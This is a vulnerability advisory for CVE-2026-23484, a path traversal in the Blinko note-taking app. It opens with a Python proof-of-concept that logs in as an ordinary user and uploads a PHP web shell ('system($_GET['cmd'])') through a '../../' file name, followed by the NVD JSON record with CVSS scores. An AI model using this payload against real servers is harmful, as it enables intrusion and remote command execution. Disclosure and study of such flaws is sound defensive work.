CVE-2026-23484

import requests # Target configuration target_url = "http://target.com/api/files" # Hypothetical endpoint username = "normal_user" password = "password" # 1. Login to get token login_resp = requests.post("http://target.com/api/login", json={"username": username, "password": password}) token = login_resp.json().get('token') # 2. Exploit Path Traversal # The 'fileName' parameter is not filtered headers = {"Authorization": f"Bearer {token}"} # Payload: Attempt to write to a sensitive directory using traversal files = { "file": ("../../var/www/html/shell.php", b"<?php system($_GET['cmd']); ?>") } data = { "other_param": "value" } response = requests.post(target_url, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Exploit successful! File written.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-23484", "sourceIdentifier": "[email protected]", "published": "2026-03-23T21:17:02.700", "lastModified": "2026-03-24T19:15:09.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Blinko is an AI-powered card note-taking project. In versions from 1.8.3 and prior, the fileName parameter is not filtered, allowing path traversal to write files anywhere on the file system. Moreover, this interface only requires authProcedure (normal user), not superAdminAuthMiddleware. At time of publication, there are no publicly available patches."}, {"lang": "es", "value": "Blinko es un proyecto de toma de notas en tarjetas impulsado por IA. En versiones desde la 1.8.3 y anteriores, el parámetro fileName no está filtrado, lo que permite el salto de ruta para escribir archivos en cualquier lugar del sistema de archivos. Además, esta interfaz solo requiere authProcedure (usuario normal), no superAdminAuthMiddleware. En el momento de la publicación, no hay parches disponibles públicamente."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blinko:blinko:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.3", "matchCriteriaId": "E1A18F1C-9DE3-41C2-8E99-49F0063FD24C"}]}]}], "references": [{"url": "https://github.com/blinkospace/blinko/security/advisories/GHSA-7v3f-v6vf-jm9q", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}